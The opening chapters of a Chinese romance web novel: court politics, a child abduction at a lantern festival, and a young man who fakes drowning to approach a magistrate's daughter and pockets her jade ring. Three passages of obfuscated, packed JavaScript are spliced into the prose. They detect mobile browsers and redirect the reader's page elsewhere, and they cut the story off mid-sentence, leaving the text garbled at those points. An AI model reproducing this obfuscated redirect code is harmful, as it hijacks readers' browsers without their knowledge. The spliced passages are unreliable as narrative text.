《失忆后被前夫强取豪夺》 1. 楔子 大晟建国长达六十年,外有异族入侵,内有分裂战争,民穷财尽,积弱已深。先帝立志于富国强兵,即位后启用李安明为参知政事,开启变法,是为肇兴变法,朝中大有反对者。一时间朝臣分两派,以李安明为首的革新派为新党,以宋怀沙为首的守旧派为旧党。 肇兴十五年,先帝驾崩,新帝即位,改国号为永昌。新帝年幼,太皇太后临朝,诏宋怀沙等旧党归朝,革除新法。 永昌八年春,太皇太后林氏崩,帝亲政,改年号为绍圣。同年,帝诏新党归京,力图恢复新法。 宋怀沙等旧党连连上书。 新法多有弊端,强行借贷让百姓背上巨额债务,恰逢江南一带先是水患又是蝗灾,百姓颗粒无收,今年的收成不抵贷款的五分之一,官府却仍催缴,百姓被迫鬻儿卖女。 民怨载道。 新帝案前的奏折足足有一丈那般高,新帝却是置之不理。 绍圣一年,上元佳节。 江南的灾祸并未影响到相距千里的京城,京城依旧灯火通明。游人蜂拥而至,御街人头攒动,两廊之下奇术异能、歌舞百戏,乐声嘈杂十余里。 冬日的严寒也没能消减百姓的热情。 宣德门外围着人群,看起来异常热闹。 “宋尚书,还请回吧。” 为首的宋怀沙挺直脊背跪在地上,丝丝缕缕的雪花落在他的帽檐、眉毛、肩上,下一秒便没了痕迹。 内侍看着眼睛一眨不眨的宋怀沙摇了摇头,向一旁走了两步,依旧扯着笑,“宋学士,上元佳节,还是莫要惹怒官家的好。” 宋凛看了一眼内侍,张口呼出一团白雾,“我等为民请奏,官家又怎会怪罪?” 内侍收了笑,盯着他们五人,冷哼一声转了身。 禁军眼睛一眨不眨地守在宫门前。 百姓围在不远处看着热闹。 “这是发生了何事?” “这你还猜不出来?闹得这般大,想来是与变法有关。” 围观的百姓越来越多,小摊贩见那边人多,忙推着车赶到了宫门前,继续吆喝着。 “桂花糕,刚出锅热乎的桂花糕~” “糖葫芦~冰~糖~葫~芦~” 御街上行人络绎不绝,百姓将整个宣德门里三层外三层围了一圈。 乳母抱着小宋砚昔也想凑前瞧瞧去。 小宋砚昔却不肯,只对另一个方向的喷火表演感兴趣。 今日是上元节,宋父因朝堂之事很难得地缺席了这个盛大的集会,舒夫人也没了兴致,但耐不住宋砚昔的软磨硬泡,便让乳母带了宋砚昔出来转转。 乳母只得带着宋砚昔向着喷火表演方向去了。 “我自己走。”宋砚昔在乳母怀中不安地扭了扭身子。 乳母放下宋砚昔。 宋砚昔左手牵着乳母的手,右手拿着半串糖葫芦。 “我想要那个小兔子花灯。” 乳母停身,“老板,要那个兔子花灯。” “好嘞,二十文。” 宋砚昔大大的眼睛里装满了好奇,眼珠子滴溜转着,蓦地,停在不远处前。 乳母低头掏出钱袋子,手自然而然地松开了宋砚昔。 宋砚昔跑了过去。 街边不断响起叫卖声,行人来来往往,络绎不绝。 “哎,姐儿,姐儿!”乳母惊呼,手中的铜板应声掉落。 “哎,客官,客官!” 早几年京城中便有拍花子的,乳母慌乱地穿过人群,一眨不眨地跟着那个瘦小的身影。 “赶着投胎去啊!”被撞的行人恼怒地骂道。 宋砚昔看着眼前小童手中五彩斑斓的花灯,大大的眼睛瞪得溜圆,“你这个花灯好看,在哪里买的?” “我阿爹扎的。” 宋砚昔眨巴着大大的眼睛。 “你也想要吗?就在前边的巷子里。” 宋砚昔顺着他的手看过去,又转头看了看。 “小娘子若是喜欢,我让爹爹给你扎一个,”小童眼睛黑黑亮亮,“不收你钱的。” 宋砚昔摇摇头,“爹爹说不能随便拿别人的东西。等我奶娘来了,你带我去,奶娘手里有钱的。” 小娘子身后确有一个年轻的妇人正风风火火地赶来。 小童垂眼看了一眼宋砚昔。 宋砚昔此刻也正盯着他,双眸一眨一眨。 小童收回视线,又坐回原处。 宋砚昔也跟着他,蹲在他身前,“你怎么穿得这么少,不冷吗?” 小童只穿着薄薄的一层单衣,根本不能御寒,脸被冻得通红。 小童朝她翻了个白眼。 宋砚昔眨巴着眼睛,看着他的脸,“你怎么不理我呀?” 小童干脆别开脸。 “我的小祖宗诶,你可吓死我了,”乳母连忙蹲下身,仔细瞧了瞧宋砚昔,见她没有大事,终于放下心来。 “大娘子出门之前多有叮嘱,近日城中多有拍花子的,叫小娘子莫要乱跑,小娘子下次若是再如此,婢子就将此事告诉大娘子。” 宋砚昔吐了吐舌头,“奶娘,我再不敢了。”说着抱着宋妈妈的大腿,仰着头,眨巴着眼睛看着她。 奶娘岂会告诉夫人? 奶娘板着脸,“小娘子可还要那盏花灯?” 宋砚昔摇摇头,“我不要小兔子花灯,我要他手上这盏花灯。”说着指着小童手中五彩缤纷的闪耀大花灯。 “小友,这花灯多少钱?” “不卖。” 宋砚昔瞪大眼睛,“方才你还不是这么说的!” 小童瞟了一眼宋砚昔,又看到宋砚昔那双大大圆圆,如葡萄一样黑亮的眼睛。 小童收回目光,又翻了一个白眼。 奶娘拉起宋砚昔的手,“小娘子,前方还有小兔子花灯,去买那个好不好?” 宋砚昔点点头,由着奶娘拉起她。 小童冷眼看着她们二人转身离开。 宋砚昔却停下脚步,转过身,对上小童冷漠的眼神。 小童撅起嘴。 宋砚昔抬脚,飞奔到小童身前。 小童看着自己的身影撞进宋砚昔的眼中。 “这个给你,莫要着凉了。”说着解下了自己五彩斑斓的小斗篷。 宋砚昔喜欢漂亮的颜色,舒夫人特地寻了许多彩色的布料,用金线为她缝制了这个斗篷,帽子上特意缝了一圈她喜欢的兔毛。 这可是汴京城里独一份的斗篷。 小童还未反应过来,斗篷已经落在了他的后背之上。二人身量差不多,她的斗篷,他也穿得。 斗篷还残留着她的温度,温暖,又带着淡淡的奶香。 原来冬日也可以这般暖。 宋砚昔朝小童笑笑,随后挥了挥手,“再见啦。” 乳母又抱起宋砚昔。 主君与主母乐善好施,连带也教会了小娘子。 “等一下。” 听到身后的动静,宋砚昔拽了拽乳母的衣袖,乳母停下,转身。 “前方鱼龙混杂……小贩多有加价,二位若是要买花灯,还是往回走罢。”小童的声音带着浓厚的鼻音。 乳母看着这个瘦弱的小童,他分明生得极好,只是穿得格外普通,看起来家境并不好。 乳母收回视线,今日出来够久了,方才她还险些丢了宋砚昔。如今宋砚昔又送出了自己的御寒斗篷,她也该带着她回去了。 宋砚昔听到声音便挣扎着要回头。 最后她在乳母手中转了个身,眼睛一眨不眨地盯着小童。 小童也在看着她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922299|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 宋砚昔两眼弯成月牙,朝他挥了挥手。 小童只是保持着同一个姿势,一直看着宋砚昔二人隐没在人群中。 “你这个斗篷在何处买的?” 小童听到声音才回过神,看了眼与他身量差不多高的小郎君,眼睛眨也不眨,“我母亲做的,你可喜欢?店里还有好多件,喏,”小童指了指前方的巷子,“不远的,就在那巷子附近。” 小郎君低头摸了摸袖间,这时才想起来自己没带钱,向后瞧了一眼,发现府上的人没跟过来,摇摇头,“我手上没钱。” 小童向他身后瞧了瞧,“这个我阿娘只做了三件,只剩下最后一件了,卖完这件便收工了,你若是不要的话……怕是会被旁人买走的。”说着转过身,看向那条巷子。 小郎君随着他的动作看去,刚好看见一个妇人牵着小孩子的手走了进去。 “这件斗篷,可是很招人喜欢的……” 小郎君犹豫着,“既然如此,你先带我过去,等我拿到手,我家人来找我,便将钱给你,如何?” 小童犹豫着,“你怕不是……要赊账?” “我怎会赊账?” “可……你不是骗我吧?” “怎会?莫要婆婆妈妈,少不了你的钱!”说着拽住小童的袖子,却没有注意到自己的东西从袖间滑落。 小童怀疑地看了两眼小郎君。 “算了,我且信你,你跟我来吧。” 小郎君跟了上去。 “这件斗篷多少钱?” “一……一两银子。” “才一两银子?!我当是多少,莫说一两,十两我也付得……只是钱没在我身上,你且放心,稍后我的侍从便会跟上来……” 二人说着已经走入暗巷。 “你可知长平侯……”府字还没有说出声,前方便冒出来个大汉,一手抱起二人,又伸手捂住两人的嘴。 “呜呜……” 大汉套上麻袋,将二人带走了。 大汉将人交到雇主手中便要离开。 “等等,怎么是两个?” “回大人,这两人待在一处,顺手便抓来了。” “我家主人不想节外生枝,将另一个放了。” “是。” 大汉方要将人带走,又听到那人的命令。 “等等……等风头过了再将人送回去,近些日子怕是不太平。” “是。” 片刻后,江府的小厮终于寻到了自家小郎君的泥人。 “找!快找啊!” “若是找不到小郎君的话,你我怕是都没命了!” 绍圣年上元夜,以宋怀沙、宋凛为首的文官跪在皇城之前引起百姓围观,城中动乱,汴京一晚便丢失五名孩童,其中还有长平侯府的小世子。 禁军连续搜了三日都未能找到丢失的孩子。 长平侯府动用一切力量,苦寻不得。长平侯老来得子,将小世子视若珍宝。骤然丢失,长平侯与夫人一时接受无能,一同病倒。 长平侯与李安明接连上书弹劾宋怀沙、宋凛等人,官家愤怒不已。李安明趁热打铁,弹劾宋怀沙的旧作《宴亭集》乃是讥讽朝政所作。官家盛怒,命人将五人抓入天牢。 一案未平,一案又起。 朝中又传出拐卖婴孩某后主使是宋怀沙等人。 礼部接连审了五人一月之久。 拐卖婴孩尚无定论,可讥讽朝政乃是板上钉钉。 宋怀沙知晓自己难逃一劫,为了自证清白,留下一封血书,随后撞墙身亡。 新党并未放过这个千载难逢的机会,纷纷上书弹劾四人。 最终,四人均被贬谪。 是年五月,夏日朦胧之际,宋凛携妻女南下。 他被贬的地方则是平阳县。 2. 第一章 绍圣十一年上元佳节。 高大巍峨的城墙上书着“平阳”二字。 这是江辞流第一次来到平阳县。 不同于隔壁县的杂乱无章,平阳县主街大大小小的摊贩错落有致地排布在街道两侧,繁华又规整。 江辞流走进茶坊,“茶博士,来碗茶。” 茶博士笑着应是,随后点好茶,将茶放在江辞流桌前。 江辞流掏出铜板,茶博士接过。 “和你打听一下,县令家住在何处?” 小郎君声音和煦,眉眼含笑,让人心生亲近之感。 “就住在东门街那棵老榆树旁。”茶博士笑着指向东边的方位。 “谢过。” “客官是外地来的吧?” 江辞流微笑颔首。 茶博士见江辞流背着包袱,问:“可是与县令有亲,投靠县令来的?” 江辞流迟缓了一下,点了点头。 茶博士没瞧出他的不对劲儿,“既是如此,这茶就当是我请你的。” 江辞流讶然,茶博士将铜板放回桌子上。 江辞流看着茶博士的背影,眉眼敛去笑意,若有所思。 热茶下肚,总算驱赶了冬日的寒凉。饮过茶,江辞流起身。 桌上只剩下空茶盏和几枚铜板。 平阳县主街很热闹,这种热闹自元日一直维持到上元节。路边商贩不胜枚举,街边小店宾客不绝。行人摩肩接踵,甚是热闹繁华。 繁华到江辞流误以为自己回到了京城。 转过这道弯,便到了东门街。 江辞流在转角处顿了一下,再抬脚,迎面而来一位女郎。 二人险些撞到,江辞流下意识垂眸。二人离得极近,江辞流清楚地看清了女郎的样貌。 女郎面白如雪,皮肤细腻,二人近到江辞流能看见女郎脸上细小的白色绒毛。一双眼睛乌黑明亮,格外得圆。 江辞流瞪大双眼。 女郎退后躲开行人,也抬眼看了一眼江辞流。对上江辞流的脸,女郎挑了挑她秀气的眉毛,随后便收了眼。 江辞流却一直没有收回他的目光。 错身时,女郎抬起下巴,瞪了他一眼。 女郎离开后,江辞流不由停下脚步,转身。 女郎莲步轻移,步履平稳,身边跟着她的侍女。 “宋女郎好啊,可要花?方才采的,新鲜娇艳得很。” 二人隔得有些距离,江辞流却听不见她说了什么,只看见她接了花,身边的侍女递上银钱。 江辞流的目光紧紧地追随着她的脚步,若是她回头,定然能与一个呆若木鸡的人对上视线。 直至女郎变成一个黑点,江辞流才收回目光。 江辞流转了个弯,正好通向下沉的太阳,一轮庞大的红日挂在朦胧的金带之上,霞光透过老榆树的叶子,斑驳了一地剪影。 江辞流却又转回身,向着女郎离去的方向去了。路过卖花的商贩时,特意走慢了些。 卖花贩子看见江辞流步调悠闲,四处瞧着,忙张罗道:“郎君买些花给心上人罢。” 江辞流果真停下来,张望着看向花篮。 小贩如数家珍,“玉茗花、腊梅、梅花都是方摘的。” 江辞流挑挑拣拣,渐渐拧起眉毛。 花贩子见他这般纠结,试探道:“郎君是给小娘子买的吧?选这个吧,小娘子都喜欢这个的。” 大晟女子都有簪花的习俗,节日尤甚。 江辞流这才出声,“果真?” 花贩子笑了,“自是当然,方才宋女郎便选了这个。” “宋女郎……可是宋县令的独女?” “这是自然,郎君不是本地人吧?”说着打量了一眼江辞流。 江辞流木然地接过花贩子递来的花。 他脸上的诧异不是装出来的。 花贩子见江辞流表情奇怪,连忙伸手要拿回他的花。 江辞流却收回手,笑着点点头,“在下自京城而来,投奔亲友,听亲友提起我们祖上与宋府也有些渊源便前来拜访,所以听到女郎姓宋,下意识想到宋县令家的独女。” 花贩子这才确定他没歹心,笑着道:“既然郎君远道而来,这花便送给郎君了。” 江辞流从怀中掏出几枚铜板,递给花贩,“多谢好意。但世道艰辛,多有不易,老板还是莫要推辞的好。” 花贩子退让着,嘴里念叨着:“远来是客。” 二人推让了几个回合,江辞流一把将手里的铜板丢进了花篮里,“多谢老板。”说着便走了。 老板举了举手,还是放下了。 那轮圆日失了踪迹,只余一片橘红色的光辉。 江辞流随手将买来的花放入袖袋中,走到榆树旁,大门上用端正的楷书书写着“宋府”二字。 江辞流走到房门前,抬起手。 门房听到动静打开门,问道:“你是何人?” “在下有事拜访宋县令。” 门房摇摇头,“县令不在。” 江辞流笑笑,“既如此,某当改日再访。” “县令出了远门,这两日都不在。” 江辞流听见门房这么说,也没有气馁,只是笑笑,“某再来访。” 门房打量了一眼江辞流。 他不过十六七岁的年纪,长相俊朗,身形挺拔,白皙的皮肤略显苍白,一袭白衣衬得他身形瘦削。眉宇间透着一股难以掩饰的书卷气,整个人儒雅斯文。 门房点点头,关上了门。 江辞流转身离开,走了两步又停在街角的柳树旁。 片刻后,江府的门开了,方才的门房提着灯,借着微弱的烛火,江辞流瞧见了一位华服老者。 离得太远,江辞流听不见二人说什么,但清清楚楚看见门房脸上挂着谄媚的笑。 他方才还说县令不在家。 宋府的门房又合上门,江辞流目送老者离开,眼底再没一点情绪。 江辞流原路返回。 路边的商贩卖力地叫着。 街边的小店都坐满了人,江辞流在面摊的角落处寻到一个位置。 “老板,一碗阳春面。” “得嘞。” “客官,您的面。” 不过片刻,面便被端了上来。 江辞流拿起竹筷,又听见身后响起一道熟悉的女声。 “老板。” 江辞流的身子顿了一下,放下筷子,摆弄衣摆时向后瞟了一眼,女郎笑意盈盈,一双眼睛清如水亮如星,圆圆的眼睛弯成月牙的形状,发间还簪着她方买来的玉茗花。 这是宋家女郎。 宋砚昔。 宋砚昔正扭着头和侍女讲话,并没有注意到江辞流。 江辞流收了目光,拿起竹筷。 江辞流不急不忙地吹了吹面条,慢条斯理地嚼着。他的吃相斯文又优雅。 “隔壁县出了大事了。” “何事?” “瑞安县令的女郎,初三游玩的时候,掉进江里啦。” “呀,可会水?可有大碍?” “人倒是救回来了,但是又寻了几次死。” “这是因为什么??” “还不是失了清白!众目睽睽之下她被捞了上来,二人衣衫不整,她不嫁那人,又能嫁给谁?!” “啧啧啧。” “听说啊,她还是被人推下去的。” “这么荒唐?” “那人是瑞安县出了名的泼皮无赖,没甚么本事,惯会坑蒙拐骗的。那女郎可是县令家的独女,金尊玉贵的人物,就这样被一个无所事事的泼皮无赖给耽误了,你说这事闹得。” “怪不得,要是我啊,我也去寻死,哪怕是剃了发做姑子去,也不能遂了那人的愿。” “哎!不说别的,今后这泼皮无赖也算给自己挣了个前程,招赘入了县令的门,也算是他的造化了。” “用这等下作的手段,我可看不上。” “谁看得上?谁背地里不骂两句,但是谁当着他面又不奉承?” “哎,他这也算是飞上枝头做凤凰喽。” 二人说完便离开了。 江辞流的筷子顿在空中,许久未落。 只听身后响起一道重重的摔筷声。 “真是岂有此理!” 江辞流不动声色地放下筷子,筷子落在碗边,没有发出任何声响。 可身后也再未有声音传来。 片刻后,身后才又响起声音。 “小满,随我去江边。” “女郎怎么还要去江边?没听见方才他二人说了隔壁县的事?” “正是因为听了所以才要去。”宋砚昔声音透着一丝冷意,“我倒要看看那,谁敢在平阳县造次!” 江辞流扭过头,只看见一抹火红的身影,风一样地飘远了。 江辞流留下铜板,也抬起了脚。 平江岸边人声鼎沸,叫卖声、说笑声,声声不绝。 岸边堆满了小商贩,只留给行人一条羊肠小路。那抹火红身影早不知窜到何处去了。 “江灯!” “孔明灯!” 听到熟悉的声音,江辞流抬起头,却看见了方才在面摊上说闲话的人——此刻正在帮老板张罗着卖孔明灯。 江辞流摇摇头,顺着路走到了江边。江边却比岸边少了不少人,只有零星的几个人在放江灯。 江辞流顺着江灯,看到了不远处的宋砚昔。 宋砚昔却没有看见他,只是沿着江边走。 江辞流也抬起脚。 江辞流落在宋砚昔不远处的地方跟着,看着她神采奕奕地跟旁人打招呼。 巡视一圈,宋砚昔放下心来,双手抱胸,环视人群,却不期对上一双明眸。 宋砚昔眯起眼睛,这个人,她方才见过。 且方才他的目光便一直落在她身上,让她十分不舒服。 宋砚昔不由向着江辞流的方向走了两步。 “买花吗?” 江辞流低头,看见小童正拽着他的衣服,眼睛巴巴地望着他。 江辞流递给她一枚铜板,又将袖袋中的玉茗花递给她。 “将这个花送给那个红裙子、好看的女郎。” 小童顺着江辞流的目光,点点头。 不远处卖孔明灯和江灯的两拨人还在争吵着,不断有人拿着江灯走到江边。 人渐渐得多了起来。 宋砚昔穿过人群,没有看见江辞流的身影。 “姐姐,姐姐。” 感受到有人在拽自己的裙子,宋砚昔低头。 “给你。” 宋砚昔看着举着玉茗花的小童,诧异道:“给我?” 小童点头,“一个好看的哥哥叫我给你的。” “好看的哥哥?”宋砚昔张大嘴巴。 小童点点头,叫卖着离开了。 宋砚昔把玩着手中的玉茗花,何人送她花? 不断有人拿着江灯涌入河边,宋砚昔出神之际,不妨被人撞了一下。宋砚昔惊醒,向后退了一步。 不过片刻功夫,江边便挤满了人。宋砚昔不禁皱起眉头。 宋砚昔拉过一人,笑着问:“发生了什么,怎么全来江边了?” “女郎不知,一个郎君买下了所有的江灯,他又不要,只是将这灯都送人了。” 宋砚昔睁大眼睛:“还有这等事?” 那人笑着,“女郎不若去前方看看,兴许也能得到一盏。” 宋砚昔顺着那人手指的方向张望着,却只能看见成群的背影。 宋砚昔方要抬脚,又有一人冲了出来,“借过,借过!” 众人纷纷向两侧躲闪,宋砚昔也向后退了两步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922300|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江边没有围栏,宋砚昔此刻就在距离江边不远的地方。她不由想起在面摊上听到的隔壁县的事。 她要打起精神来,若真有人心怀不轨要算计其他女郎,她会毫不犹豫地跳下水,拼劲全力保护女郎的清白。 可她不知道的是,这群人是冲着她来的。 宋砚昔观察着四周,丝毫没有注意到江辞流已经站到了她不远的身侧后。 “借过借过。” “没看到这边这么多人吗,还挤什么挤?” “谁人的手?” “光天化日之下,哪里来的登徒子!”人群中响起女郎的惊呼。 宋砚昔皱着眉,循声望去。 江岸边已经聚满了人,人群开始乱了起来。 宋砚昔看着涌动的人头,心中涌起一丝不安。 下一秒,一股大力朝她袭来,宋砚昔拼命稳定双脚,方要转头,另一边又冲出来一股怪力,宋砚昔不防,着了他的道。 “扑通!” “落水了落水了,有人落水了。” 小满惊诧地看着自己落空的双手,她方才明明抓住了女郎的手,却有一股怪力拉开了她。小满下意识惊呼:“女郎!女郎!” 人群中有人认识小满,诧异道:“这不是宋县令家的侍女吗?那落水的人岂不是宋女郎?” 众人一听是宋砚昔掉进了水里,纷纷跳入水中。 江辞流方才也被人群冲散,等到他再挤到江边时,已经有好几个人跳下去了。 江辞流眼里闪过一丝寒光,随后也毫不犹豫地跳了下去。如一条游鱼,身姿灵敏。 小满知道自己闯了大祸,行色匆忙地回了宋府。 宋砚昔在水中便听到了“扑通”的声响。 宋砚昔回头,果真看见翻跃的水花。 宋砚昔暗骂一声。 宋砚昔化愤怒为力量,拼命向前游着。 这可是平阳,她自小在平江边长大,想来算计她,下辈子罢! 江辞流奋力地向前游着,他不是没考虑过宋砚昔会水,但这并不代表他没有机会。 二人速度飞快。 游了足足有半盏茶的功夫,江辞流才抓住了宋砚昔的胳膊。 宋砚昔知道,若是她从方才的岸边上岸的话,一定会被人围观,到时有嘴也说不清。索性游得远些,自己偷摸上了岸,回了家,任是何人也算计她不得。 打定主意后,宋砚昔凭着记忆向前游着。 却还是被人拉住了。 宋砚昔皱着眉回了头,看见那张熟悉好看的脸,宋砚昔不由张了嘴。 水中涌起细密的泡泡。 宋砚昔挥动胳膊,似要甩开黏在她胳膊上的手。 可那只手却如膏药一般,任她如何用力也甩不掉。 宋砚昔眉头皱得更深,伸出左手来,掰开江辞流的手。 江辞流的手紧紧地扣在宋砚昔的小臂上,丝毫没有要松开的迹象。 宋砚昔瞪着江辞流,嘴唇微动。 江辞流看清了那两个字。 “放手。” 江辞流的手依旧没有动。 宋砚昔挥动着胳膊朝着江辞流的面门而去。 江辞流只是躲,并未出手。 宋砚昔愈加愤怒,又挥出双手。 江辞流灵敏地躲避宋砚昔的攻击。 二人在水中厮打起来。 宋砚昔怒极,拼劲全力挥出了手。 江辞流却注意到宋砚昔腰间的玉环落了下来,他伸手捞起那枚玉环。 宋砚昔趁机挥着拳头,拳头落在江辞流的双眼上。 江辞流吃痛,伸手捂住眼睛。 宋砚昔又抬起腿,踹在他的腹部。 江辞流呛了水,一股窒息感袭来,他合上眼,皱着眉头松了手,宋砚昔也不纠缠,转过身便游走了。 看着宋砚昔“仓皇”的背影,江辞流恢复神识,却不向前追了,跃出水面,张开嘴,用力地咳着。 江辞流看见宋砚昔从水中探出头。 毫不犹豫地向前冲着。 江辞流忽而笑了一下,他将玉环塞进左侧衣内。 随后挥动双臂扑通着,身子愈发往下沉。 宋砚昔手上吃痛,知道她那一拳不轻,何况她又补上了一脚。那登徒子定然要被她远远地甩在身后了。 宋砚昔向后瞧了瞧。 果然没人。 宋砚昔得意一笑。 游了片刻,宋砚昔没忍住又回了一下头,身后依旧没有身影。 宋砚昔停下,冒出水。夜风吹来,冷得她直打哆嗦。 宋砚昔甩了甩头,她已经游了好半晌,四周也没了人,现在上岸的话,定然不会被人发现,她也不会失了清白。 可是…… 宋砚昔不由转过身,看了看身后。 空无一人。 宋砚昔心里打起了鼓。 那人只是想要占她便宜,罪不至死。他若真是因为自己的一拳一脚脱了力,惨死在平江里,便是她的罪过了。 但他到底不怀好意。 可他罪不至死。 …… 宋砚昔回身,猛地扎入水中。 她不能见死不救。 江辞流控制着,一点点向下沉,肚子里灌了不少平江水。 江辞流已经忍受到极致,若是弹指间宋砚昔还不回来的话,他真的要憋不住了。 江辞流这才察觉到,冬日的平江水,真冷。 江辞流看着宋砚昔离去的方向,心比平江水还要静。 “她不会来了。” 说不上自己的心绪,江辞流正准备跃出水面之时,水中涌起一个巨大的漩涡。 一抹火红的身影朝他而来。 江辞流唇角勾起一个笑,随后闭上眼睛。 他赌她会心软。 他赌赢了。 3. 第二章 宋砚昔费力将江辞流拖到岸边。 夜风吹过,宋砚昔忍不住打了一个寒颤,顾不得旁的,宋砚昔将手探到江辞流的脖间。 还在跳动。 宋砚昔放下心来。 宋砚昔将人放平,这才看清江辞流的脸。 江辞流本就白皙,在水里泡了这么久,整张脸如冷玉一般,透着寒光。 宋砚昔不满地嘟着唇。若是她没记错,今天是第二次遇见他。想到他在路上肆无忌惮打量自己的目光,宋砚昔心里就涌起一股无名火。 但眼下要先救人。 至于其他的,等他活过来再说。 宋砚昔常年混迹在江边,自然知道怎么救助溺水的人。她两手放在江辞流胸口处,有节奏地按压着。 “噗。” 江辞流吐出一口水,却没有醒。 宋砚昔怀疑地探了探江辞流的鼻尖。 尚有鼻息,宋砚昔放下心来。 又是一阵风吹来。 宋砚昔双手环住自己的胳膊,抬起下巴,深深地瞪了一眼江辞流,随后转身。 不过走了两步,宋砚昔又停下了,回过头。 江辞流还平躺在地上。 宋砚昔又向前走了两步,又停下了。 猛地,宋砚昔转过身,快步到江辞流身边,又伸手在江辞流鼻尖探了探。 还有鼻息。 宋砚昔放心地起身,又伸出脚。 宋砚昔拼劲全力踢出脚,脚边带起凌厉的风,绣鞋却停在江辞流的耳边。她凝视着江辞流如玉的脸,清晰地看见月光在他眼下投下一层细密的阴影。江辞流鼻梁高耸,唇形如花瓣一般好看,却格外得薄。 是一张很好看的脸,宋砚昔这般想。 犹豫间,宋砚昔又重新抬起脚,使了吃奶的力气踢在江辞流的腰窝处。 “好的不学学坏的,你这等登徒子,活该溺死。” “下次莫要再让我看见你,否则我踢死你。” 似是不解气,宋砚昔连踢了四五下。 宋砚昔收了脚,最后看了他一眼,转过身,头也不回地走了。 月光拉长了宋砚昔的身影,她步履不停,离开了江边。 夜深了,风更大了。 直至耳边只剩下夜风嚎叫,河水奔腾,江辞流才撑着自己的腰起来。 江辞流皱着眉,伸出双手揉了揉自己的腰窝。 “力气真大。”江辞流咧着嘴说道。 江辞流站起身,凝视着宋砚昔离去的方向。低头从怀中掏出那枚玉环,玉环冰冰凉凉,比夜风还要凉,比月光还要润。 江辞流右手捏着玉环,左手揉着自己的腰,向着宋砚昔相反的方向离开了。 半刻钟后,两个人匆匆赶到。 “咦,这里没有人,会不会是你记错了?” “怎么可能!我与女郎幼时常来这里,又怎会记错?” “可是,这里没人啊。” 两人又向前走了两步。 “这边有水迹。” 冬日的江水结成了一层淡淡的冰。 “看这形状,像是两人身上带来的水渍,想来这是女郎说的地方,只是那人呢?” “我们再找一找,大冬日的,从水里出来一遭已是遭罪,若是支撑不住,怕是要冻死在外边。” 小满回家之后叫走了宋府所有的家丁去寻宋砚昔,幸运的是,小满先找到了宋砚昔。 更幸运的是没有被别人发现。 小满二人沿着河边足足找了一个时辰,还是什么都没有找到,最后只能无功而返。 宋府。 屋里烧着两个火盆,宋砚昔手里捧着姜汤,小口喝着。 “人不见了?”宋砚昔反问。 “是的女郎,我找到了女郎说的地方,但是那里空无一人,地上的水渍已经结了冰,没有女郎说的俊俏的郎君。” 宋砚昔食指和中指在茶盏上敲着,“不见了便不见了,那边那般荒芜,等闲人不会去那处,左右不是被人拐了,想来是自己走了。” 宋砚昔心内升起一股无名火。 她离开的时候他还昏着,不过半柱香的时间,他便醒了,未免也太过巧合了。 宋砚昔冷笑一声,将手里的姜汤一饮而尽,“管他作甚。” 累了一个晚上,宋砚昔躺到榻上便陷入了梦乡。 宋砚昔第二日起来时只是有些鼻塞。 小满又端来一碗姜汤,宋砚昔一饮而尽。 喝完后,宋砚昔收拾一番,却没有找到自己的玉环。 “小满。”宋砚昔惊呼。 “女郎有何吩咐?”小满一脸急色赶来。 “可看见了我的玉环?” “昨日女郎还带在身上,想来是和昨日的衣服收在一起了,我去问问霜降。” 宋砚昔呆在原地,绞尽脑汁想了一通,却还是没有想到自己将玉环放在了何处。那玉环可是她阿娘留给她的遗物,她日日都戴着的。 “女郎,我问过霜降了,昨日她为女郎换衣服的时候便没有看到那枚玉环了。” 宋砚昔拧着秀气的眉毛,吩咐道:“再找找。” 小满点点头,“是。” 直至将宋府翻了两遍也没能找到宋砚昔的玉环。 宋砚昔的心沉了下去,“应该是掉到江里了。”昨日她在江里泡了那么久。 “又或许是丢在路上了。”小满补充道。 “这样最好,”宋砚昔点头,“叫上府里的家丁,随我去江边。” 小满知晓那枚玉环对宋砚昔有着非凡的意义,点点头,“是。” * 昨夜在水里泡了许久,又在江边迎着寒风躺了许久,江辞流无可避免地感染了风寒。 江辞流整个人头昏脑胀,腿上似是被绑上了几十斤的沙袋。他费力拖着身子去医馆抓了两副药,喝了药又睡了。 直至太阳将要下山前,江辞流才醒来。 江辞流脑子还是昏昏的,下意识坐直身子,呆滞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霍婆子笑着应是,转头关上门,却在街角处看到了一张生面孔。 “好俊的郎君。”霍婆子心道。 霍婆子张望着,见他始终望着宋府家丁离去的方向,最后又随着宋府的家丁走了。 霍婆子心下纳罕,又伸长脖子瞧了瞧,最后关上门向着另一个方向去了。 江辞流鬼鬼祟祟地随着众人来到昨日荒芜的江边。 “那枚玉环可是大娘子生前留给女郎的,我等务必要找到。”四周没了人,家丁吼出声。 “是。” 江辞流冷眼看着众人分次坐上船,下了水。 天边挂着桔红色的云彩,仿佛被火烧了一般。天色被染成了鸦青色,沉闷又压抑。 江辞流伸出手,从怀中掏出那枚玉环,“没想到你这般重要。” 既如此,他可要把握好她给的机会。 江辞流紧紧地捏住手中的玉环,骨节嶙峋,积蓄着沉默的力量。 他最后看了一眼众人忙碌的身影,轻扯了一下嘴角,转身离开了。 4. 第三章 